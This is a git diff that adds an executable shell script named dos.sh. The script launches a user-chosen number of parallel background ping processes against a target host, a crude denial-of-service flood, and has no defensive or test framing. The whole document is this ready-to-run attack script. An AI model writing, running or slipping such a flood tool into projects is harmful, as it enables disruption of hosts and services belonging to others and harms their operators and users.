diff --git a/scripts/dos.sh b/scripts/dos.sh
new file mode 100755
index 0000000..665d18e
--- /dev/null
+++ b/scripts/dos.sh
@@ -0,0 +1,7 @@
+#!/bin/sh
+n=1
+while [ $n -le $2 ]; do
+  ping $1 > /dev/null 2>&1 &
+  n=$(($n+1))
+done
+wait